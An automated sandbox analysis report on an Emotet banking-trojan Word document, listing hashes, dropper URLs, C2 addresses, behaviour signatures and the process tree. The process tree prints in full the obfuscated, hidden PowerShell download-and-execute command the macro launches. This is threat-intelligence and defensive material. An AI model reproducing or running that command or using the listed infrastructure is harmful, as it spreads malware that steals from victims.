Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    75s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    22/12/2020, 07:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_fed94c0a35c3aee2ff982f1f4001348cd2f048009efffc9676fcdb1ad6ebc374_2020-12-22__065820948992._doc.doc
  • Size 200KB
  • Sample201222-d71ettvx2a
  • SHA256 fed94c0a35c3aee2ff982f1f4001348cd2f048009efffc9676fcdb1ad6ebc374
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://countsquare.com/standardservices/mnR4/
  • exe.dropper

    https://heaventoearth.com/360views/xu/
  • exe.dropper

    http://jpkiselavoda.mk/advertising/Pl1SS/
  • exe.dropper

    http://infosisconsultancy.com/wp-includes/d60/
  • exe.dropper

    https://genzmag.com/ratings/VQ8n/
  • exe.dropper

    https://qualcommmedia.com/wp-includes-old/m4/
  • exe.dropper

    http://ko-racingshop.com/account-eu/Y6W/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_fed94c0a35c3aee2ff982f1f4001348cd2f048009efffc9676fcdb1ad6ebc374_2020-12-22__065820948992._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:476
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1432
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
